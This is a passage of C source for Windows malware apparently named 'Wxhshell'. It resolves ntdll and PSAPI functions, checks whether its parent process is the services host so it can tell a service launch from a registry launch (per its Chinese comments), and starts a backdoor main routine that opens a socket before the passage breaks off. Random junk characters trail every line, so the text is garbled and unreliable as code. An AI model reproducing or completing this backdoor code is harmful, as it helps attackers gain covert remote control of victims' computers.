DWORD AffinityMask; I)3LJK
DWORD BasePriority; {RsdI=%
ULONG UniqueProcessId; rf^IJY[
ULONG InheritedFromUniqueProcessId; 5K|`RzZ`B$
} PROCESS_BASIC_INFORMATION; 5D^2
+`$/
d"ZsOq10D
PROCNTQSIP NtQueryInformationProcess; ,HE{&p2y
-yIx:*KI
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n]l3
)u
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;L],i<F
Y?oeP^V'u
HANDLE hProcess; 2I=4l
PROCESS_BASIC_INFORMATION pbi; )h(=X&(d
8-L -W[
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /^si(BuC^*
if(NULL == hInst ) return 0; .UK`~17!
[e|9%[.V
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {Aj=Rj@
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JGhK8E
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *m&'6qsS
qvh8~[
if (!NtQueryInformationProcess) return 0; #x6wM~
X*)DpbWd
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L`w_Q2{sv
if(!hProcess) return 0; l~1l~Gx_&n
JsX}PVuL
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (c3O> *M
gazX2P[D
CloseHandle(hProcess); KpQ@cc
T}'*Gry
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d<cQYI4V
if(hProcess==NULL) return 0; 1NN#-U
&6\E'bBt
HMODULE hMod; 0w2<2grQ
char procName[255]; c/-'^+9
unsigned long cbNeeded; r/+~4W5
);p:[=$71
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @&Af[X4s
K[-G2
CloseHandle(hProcess); )4GCL(&
QcdAg%"yy
if(strstr(procName,"services")) return 1; // 以服务启动 .g_Kab3?L
>bw q
return 0; // 注册表启动 py/#h$eY
} N71%l
k <LFH(
// 主模块 A22'qgKm@
int StartWxhshell(LPSTR lpCmdLine) dP/1E6*m
{ ~NK|q5(I
SOCKET wsl; 8(:O5#
BOOL val=TRUE; z_$F)*PL
int port=0; .k5&C/jv
struct sockaddr_in door; S]c&